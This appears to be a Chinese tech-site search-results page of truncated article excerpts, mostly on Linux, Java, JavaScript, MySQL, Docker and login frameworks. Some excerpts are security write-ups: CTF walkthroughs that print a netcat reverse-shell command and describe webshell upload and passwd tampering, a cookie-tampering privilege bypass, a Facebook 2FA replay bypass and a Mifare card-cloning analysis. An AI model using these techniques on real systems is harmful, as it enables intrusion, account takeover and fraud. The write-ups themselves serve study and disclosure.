首页
学习
活动
专区
圈层
工具
发布

Shell编程中关于用户操作的两个报错

如果组不存在,useradd会尝试创建这个组 -G:指定用户所属的一个或多个附加组 -u:指定用户的UID(用户id),如果不指定系统会自动分配一个未被使用的UID -o:允许为新用户指定一个已经存在的...-r:创建一个系统用户 上述参数中提请大家注意的有如下几点: -u参数如果不指定,默认从1000开始,系统用户的UID为1-999范围区间 -r参数在创建系统用户时是必须指定的参数,即第1点中提到的uid...这也是我在文首遇到的无法登录的情况。...报错二、新建用户报错Creating mailbox file: File exists 1 背景 当我们新建了一个用户发现有问题,想要删除该用户并再次新增相同的用户时: [root@instance-jgzzg4xl...3 解决办法 当我们在删除用户没有删除干净的情况下,我们可以使用 userdel -r luzs 强制删除,这种情况在出现错误:useradd: user 'luzs' already exists 时比较好用

32520

Java异常的优雅的设计

我来举例说明一下这个问题,先从受检异常说起,比如说有这样一个业务逻辑,需要从某文件中读取某个数据,这个读取操作可能是由于文件被删除等其他问题导致无法获取从而出现读取错误,那么就要从redis或mysql...当我们在写某个方法的时候,可能会偶然遇到某个错误,我们认为这个问题时运行时可能为发生的,并且理论上讲,没有这个问题的话,程序将会正常执行的时候,它不强制要求调用者一定要捕获这个异常,此时抛出RuntimeException...= uid){ //进行处理.. } return null; } 上边的例子,如果只判断uid为空还好,如果再去判断address这个实体中的某些必要属性是否为空,在字段很多的情况下...上边的@Data是使用了一个叫做lombok的工具,它自动生成了Setter和Getter等方法,用起来非常方便,感兴趣的读者可以自行了解一下。...api异常设计 设计api层异常时,正如我们上边所说的,需要提供错误码和错误信息,那么可以这样设计,提供一个通用的api超类异常,其他不同的api异常都继承自这个超类: public class ApiException

1.1K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    如何优雅的设计 Java 异常

    我来举例说明一下这个问题,先从受检异常说起,比如说有这样一个业务逻辑,需要从某文件中读取某个数据,这个读取操作可能是由于文件被删除等其他问题导致无法获取从而出现读取错误,那么就要从redis或mysql...当我们在写某个方法的时候,可能会偶然遇到某个错误,我们认为这个问题时运行时可能为发生的,并且理论上讲,没有这个问题的话,程序将会正常执行的时候,它不强制要求调用者一定要捕获这个异常,此时抛出RuntimeException...= uid){ //进行处理.. } return null; } 上边的例子,如果只判断uid为空还好,如果再去判断address这个实体中的某些必要属性是否为空,在字段很多的情况下...上边的@Data是使用了一个叫做lombok的工具,它自动生成了Setter和Getter等方法,用起来非常方便,感兴趣的读者可以自行了解一下。...api异常设计 设计api层异常时,正如我们上边所说的,需要提供错误码和错误信息,那么可以这样设计,提供一个通用的api超类异常,其他不同的api异常都继承自这个超类: public class ApiException

    2.4K00

    攻破VulnOS(3)之挑战PwnLad

    首先,安装完虚拟机,我们没有这个靶机的密码。也不知道ip,只能扫描一下内网或者探测了。 我在kali下用ipconfig看下我kali的地址,因为我的kali和靶机是同一个网卡。 ?...经过一系列的操作,基础的sql查询语句我就不多说了。我们得到了下面这些信息: ? 发现数据库里面的pass是经过base64加密的。 我们前面包含登录框的时候也是base64加密的。哈哈,ok。...我们解密玩 可以直接去登录了。 ? ? 我们点击upload ,他说必须登录。那么我们有了之前的用户名,密码就可以直接登录。尝试上传木马,拿shell了。...vaf=nc-c /bin/bash 192.168.56.102 1234 尝试用之前的用户登录,用VulnOS 挑战2的方法 python形成一个交互的shell。 ?.../msgmike mike@pwnlab:~$ id id uid=1002(mike) gid=1002(mike)groups=1002(mike),1003(kane) 这样当我们再次运行.

    1.3K60

    这样设计 Java 异常更优雅,赶紧学!

    我来举例说明一下这个问题,先从受检异常说起,比如说有这样一个业务逻辑,需要从某文件中读取某个数据,这个读取操作可能是由于文件被删除等其他问题导致无法获取从而出现读取错误,那么就要从redis或mysql...当我们在写某个方法的时候,可能会偶然遇到某个错误,我们认为这个问题时运行时可能为发生的,并且理论上讲,没有这个问题的话,程序将会正常执行的时候,它不强制要求调用者一定要捕获这个异常,此时抛出RuntimeException...= uid){ //进行处理.. } return null; } 上边的例子,如果只判断uid为空还好,如果再去判断address这个实体中的某些必要属性是否为空,在字段很多的情况下...上边的@Data是使用了一个叫做lombok的工具,它自动生成了Setter和Getter等方法,用起来非常方便,感兴趣的读者可以自行了解一下。...api异常设计 设计api层异常时,正如我们上边所说的,需要提供错误码和错误信息,那么可以这样设计,提供一个通用的api超类异常,其他不同的api异常都继承自这个超类: public class ApiException

    66320

    彻底搞懂Object.defineProperty

    例如: Person.age = 1; console.log(Person.age);// '少年' 在我印象里JavaScript对象是可以用getter与setter来解决这个问题的,存一个数字进去...昨天,在我通读vue文档过程中,一篇名为深入响应式原理吸引了我的注意,文中简述了vue数据响应式的原理,以及在操作数组与对象时需要注意的点,在实现上vue也使用了Object.defineProperty...方法,联想到vue计算属性的getter与setter,我想是时候弄懂这个API了,那么请各位跟随我的脚步,好好认识这个在JavaScript中高频出现的API,本文开始。...说直白点,存取描述符给了我们赋值/取值时数据劫持的机会,也就就是在赋值与取值时能自定义做一些操作, getter函数在获取属性值时触发,注意,是你为某个属性添加了getter在获取这个属性才会触发,如果未定义则为...setter函数在设置属性时触发,同理你得为这个属性提前定义这个方法才行,设置的值将作为参数传入到setter函数中,在这里我们可以加工数据,若未定义此方法默认也是undefined。

    2K20

    彻底搞懂 Object.defineProperty

    例如: Person.age = 1; console.log(Person.age);// '少年' 在我印象里JavaScript对象是可以用getter与setter来解决这个问题的,存一个数字进去...昨天,在我通读vue文档过程中,一篇名为深入响应式原理吸引了我的注意,文中简述了vue数据响应式的原理,以及在操作数组与对象时需要注意的点,在实现上vue也使用了Object.defineProperty...方法,联想到vue计算属性的getter与setter,我想是时候弄懂这个API了,那么请各位跟随我的脚步,好好认识这个在JavaScript中高频出现的API,本文开始。...说直白点,存取描述符给了我们赋值/取值时数据劫持的机会,也就就是在赋值与取值时能自定义做一些操作, getter函数在获取属性值时触发,注意,是你为某个属性添加了getter在获取这个属性才会触发,如果未定义则为...setter函数在设置属性时触发,同理你得为这个属性提前定义这个方法才行,设置的值将作为参数传入到setter函数中,在这里我们可以加工数据,若未定义此方法默认也是undefined。

    1K20

    追根溯源MySQL,“你的表情”插入对了吗?

    询问DBA,DBA建议尝试用 connectionInitSqls = set names utf8mb4 配置测试下,没有研究过这个配置,也不清楚有什么用,但是DBA大佬都建议了,就尝试了下,确实可以...查看官方文档说明该参数是在初始化连接时执行的sql),那这样就很好理解了,当我们执行set name utf8mb4之后就在当前session 中一直使用utf8mb4的编码格式 ?...(细心的同学可能发现,我们在解析问题1的时候已经提到了,测试环境的问题可能和第一次的set names 有关)接下来我们测试下。...处理登录和初始连接错误。...this.serverStatus = buf.readInt(); checkTransactionState(0); } } 发现这个属性是在和服务端初始化连接时设置的

    98920

    0元免服务器,开发个人专属网盘 | 云开发WEB最佳实践

    即使是在我们自己的设备上,使用社交软件传输文件还会面临着存储大小的限制,我们不得不又依赖存储介质才能完成传输。 为何不做一个工具,来解决这个让人难受的问题呢?...这个想法我很早就有了,不过按照自己的需求,我需要服务器,我需要很强的带宽,而这些足以让我止步不前了。 当 WEB 云开发推出的时候,我的眼前一亮。在细细品味之后,觉得粮草到位了,可以开战了。...实践 按照自己的想法,在解决了一点小问题之后,我的跨平台文件转储工具就完成了。为此我将其命名为 FILES。...当勾选取后即删时,文件将会在第一次取完即删除,不会再次被取。 image.png 上传成功的文件将显示如下形态,像当于取件凭证;你可以复制凭证给要发送的人。...image.png 在取文件时,需要取件号码和存储密码。如果存文件时没有设置密码,则存储密码可以为空。 image.png 点击下载文件时,会弹出腾讯验证码,用来防止恶意刷接口的出现。

    2.6K21

    理解 Docker 容器中 UID 和 GID 的工作原理

    例如,当一个进程尝试写入文件时,内核会检查创建该进程的uid和gid,以确定它是否具有足够的特权来修改文件。这里不使用用户名,而是使用uid。 在服务器上运行 Docker 容器时,仍然只有一个内核。...这样我就可以在不使用sudo命令的情况下启动docker容器。然后,从容器外部,让我们来看看这个过程是如何呈现的。...带有定义用户的Dockerfile 当我在 Dockerfile 中创建一个不同的用户并以该用户身份启动命令时会发生什么?为了简化这个例子,我这里没有指定 gid,但相同的概念也适用于组 id。...如何控制容器的访问权限 另一种选择是在运行 Docker 容器时指定用户名或用户ID,以及组名或组ID。 再次使用上面的初始示例。...那时我使用了一个 Dockerfile,其中的 uid 映射到本地主机上的不同用户名。当我们在命令行上使用用户标志来启动一个执行“sleep infinity”进程的容器时,会发生什么呢?

    1.3K10

    springboot整合shiro实现权限控制

    if(authenticationToken.getPrincipal()==null){ return null; } //获取用户的登录信息,...该过滤器是为了实现记住我后,用户再次登陆不需要进行权限验证,就能到达首页,后面会介绍当不使用该过滤器的后果。...(1)我们自定义记住我过滤器是为了在通过isRemember()登录时,能够得到和通过isAuthenticated()登录一样的信息,因为当我们通过isAuthenticated()登录时,我们获取了一下...(2)在注册时,我们需要用相同的加密算法对用户注册的密码进行加密保存的数据库中,通过shiro验证时,拿加密后的数据库中的密码与前台用户登录时的密码加密后进行比对。这样才能够实现权限验证。...(3)我只是使用了一种简单的算法,大家可以用加盐的MD5,自行操作。 四、总结 以上是我对shiro的深入理解,希望对小伙伴能有帮助

    63210

    典中典 - 国外漏洞挖掘案例

    但这次引起我注意的是响应大小。它们因端点而异。如果重定向点相同,则它们的大小都应该相等。我用卷曲检查了其中一些,看到了不同的反应。我发现这一定是一些配置错误,在执行实际脚本并呈现网站之后发生重定向。...应用这些规则后,我刷新了页面,然后……我进入了应用程序。我没有在那里尝试过任何东西。直接就报了。严重程度被标记为中等,我得到了一盘红牛作为奖励 :)。一段时间后,他们修复了这个错误。...每当我输入应用程序 URL 时,都没有登录屏幕,我被重定向到其他一些身份验证站点。看起来很安全。 不太好修复 几个月后,我决定再次深入研究 RedBull VDP。...它起作用了,该端点遭受路径遍历并允许我从服务器读取文件,例如 /etc/passwd。但这里有一个问题。我登录应用程序的方式是通过重定向停止在 Burp 中,我没有完全通过身份验证。...这个漏洞是我在玩应用程序时发现的,甚至没有查看源代码。

    1.4K30

    RFID入门:Mifare1智能水卡破解分析

    然后我们用hexeditor(这个会自动变成正常阅读顺序,当然某些数据不懂时我们可以尝试使用hexdump,这个是反端的顺序,可能会有新的发现)。打开分析。...就因为最开始下的这个结论,导致我在解密的路上越走越偏。那么我猜测可能是金额与UID或者某部分内容通过异或,或,与等常见的运算。我尝试算了很长时间很多种可能性,最终没能算出来。...暂时只好将卡多复制几次,继续慢慢尝试。 0x05转折点 接连刷了几天,得到了很多数据。直到12月2号中午,再次把所有数据放在一起对比时,忽然发现卡里面内容有点奇怪。...也就是说我前几天测试的时候应该是11月27日。112701,112702,是指第一次刷卡,第二次刷卡。然后至于那次单独测试是不是与时间有关,因为我是在同一天测试的数据,而它只记录日期。...但是,当我再次刷准备拍照的时候发现卡失效了,换一个机器,发现刷一次之后卡就失效了。经过多次测试发现,卡内余额只要大于50元钱,当前卡就临时失效,而我们购买单张卡时,单张卡内有的余额正好就是50。

    12.3K71

    对某网的一次渗透测试纪实

    可以看到当我们是个人用户时已经可以看见这个求职者的很多信息了,但是身份证信息和联系方式作为个人用户是看不见的 ? 然后我们尝试点一下下载简历: ? 果然只有企业用户才能下载。...这时候我想起了在各大平台看见的逻辑漏洞的总结,于是尝试用burp抓包来看看有没有可能越权成为企业用户 我们对下载简历抓包 ? 我们可以看到那个eid是我们查看的这个简历的id。...然后在cookie里,有个usertype和uid,个人用户的usertype是1,于是我们尝试改成2。...然后这里必须uid也得改成随便一个企业的uid,因为这里usertype是判断用户账号是个人用户还是企业用户,然后这个uid是判断有没有下载权限。 我们在首页随便找一个企业 ? 然后发包 ?...然后我们再对这个图上那个下载简历抓包,同样修改usertype和uid,然后再发包 ? 然后到这里,不要以为失败了。 我们还是得对这个页面抓包,继续改usertype和uid。

    1.3K40

    服务器重启项目引发的nginx 502 Bad Gateway解决

    大家好,又见面了,我是你们的朋友全栈君。...一、问题起因: ssh登录远程服务器重启项目(第一次),未等tomcat启动完成,直接访问项目的对应后台管理系统网站,导致网页一直加载不出来,心急又去重复启动项目(第二次),再次访问网页报错:502 Bad...我有一篇博客专门讲清理磁盘)清理过程中,发现nohup.out很占内存,是可以清理的,亲测有效,命令: 第一种:cp /dev/null nohup.out 第二种:cat /dev/null > nohup.out...于是查看linux上的java进程:ps -ef | grep java 从头至尾各个参数的意思是: (1):UID :程序被该 UID 所拥有 (2):PID :就是这个程序的...再次重启的时候tomcat执行sh shutdown.sh,发现报错,更验证了之前的猜想,因为关于tomcat的实例我都kill掉了啊,所以再执行:sh startup.sh 打印tomcat日志命令:

    2.6K30

    mybatis-plus

    我的数据库表名是 t_user,实体类名是 User,只需要在类名上写入 @TableName("t_user")就可以了 4、@Data 这个注解也极大的简化了我们的开发,为什么这样说呢?...是因为,使用这个注解,就可以省略 getter()、setter()、toString()、重写该类的 equals()和 hashCode()方法,这样一听,是不是很吃惊呢?...5、@TableId MyBatis-Plus 在实现增删改查时,会默认将 id 作为主键列,并在插入数据时,默认基于雪花算法的策略生成 id,这个雪花算法在这里就不明讲了。...当使用 @TableId(value = "id")语句时,若实体类和表中表示主键的不是 id,而是其他字段,例如代码中的 uid,MyBatis-Plus 会自动识别 uid 为主键列,否则就会报这样的错误...是否有上一页:" + page.hasPrevious()); System.out.println("是否有下一页:" + page.hasNext()); } 复制代码 运行结果: 10、@Param 当我使用自定义的分页语句时

    1K40

    SSO统一身份认证——CAS Server6.3.x自定义验证逻辑尝试(六)

    SSO统一身份认证——CAS Server6.3.x自定义验证逻辑尝试(六) 背景 单点登录(SingleSignOn,SSO),就是通过用户的一次性鉴别登录。...而我当前境况下就是既有ToC场景又有ToB场景,在该种情况下,我开始对其业内的各种协议进行整合集成,这一系列文章将对其业内各个协议从基础到深入、从搭建到二次开发进行记录,同时将其整理出来分享给大家。...**但是当我们按照官方文档进行继承AbstractUsernamePasswordAuthenticationHandler 类时就会发生图上的情况,IDEA自动检索引入的lib包中没有,这时为什么呢?...发现可以看到了,果断选择,暂创建为如下类: package com.sso.auth; import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j...再次尝试登录时观察控制台,发现打印了我们刚才的日志,说明其进入了我们的判定逻辑。 ?

    2.5K20

    挖洞经验 | 利用捐款功能形成重放攻击实现Facebook身份认证绕过分析

    该篇Writeup是利用Facebook捐款功能形成身份验证重放攻击,实现Facebook账户双因素认证(2FA)绕过的漏洞,原因在于Facebook在URL会话中加入的身份认证措施不够完善。...漏洞情况 起因源于我收到一个朋友的捐款活动消息,当我用手机版Facebook-App (IOS) 点击其页面中的“捐款(donate)”按钮后,它就自动跳转到了一个用*或Paypal支付的Web页面,该页面的后置路径为...nonce=xxxxxx&uid={USER_ID} 但是,访问了该链接之后,我发现,即使我是Facebook退出状态,根本没有登录Facebook,当用Web浏览器访问上述的URL链接后,再次访问facebook.com...而且,即使是更改了我Facebook账户的登录密码,他一样可以保持对我Facebook账户的登录状态。...nonce=xxxxxx&uid=xxxxxx ”; 4、拷贝该条URL链接,把它用于其它你未登录过Facebook账户的设备中,用Web浏览器点击访问; 5、之后访问Facebook.com主页,你就会发现你已经自动登录到你的

    1K20

    VulnHub靶场 DarkHole:1

    通过主页的源代码可以看出,这个主页只有一个外链就是登陆功能。 在登陆界面,尝试进行简单的sqlmap测试发现似乎没有注入点,这里就暂且不继续对登陆也进行SQL注入测试了。...登录以后可以看到,一共就两个功能,分别是用户信息和更新密码功能。我们首先来看一下用户信息这个功能是否存在sql注入或者越权能否获取到其他用户的信息。我们抓个包来看一下。...发现phtml可以正确的解析,所以当我们发现绕过之后的文件不能正确解析的时候要多尝试一下其他的后缀,这样才能确保万无一失。...我自己搭建了一个Ubuntu 20.04.02的环境来进行了验证,虽然这个靶机用不到,但是我还是决定将我的验证过程写下来。 以下为我自己搭建的Ubuntu 20.04.2环境演示。...另外,给出正确的用户标识符(UID),在这个例子中是“1003”,再加上openssl命令的密码散列值,创建成功后就可以利用新生成的密码登陆这个用户了。

    1.3K20
    领券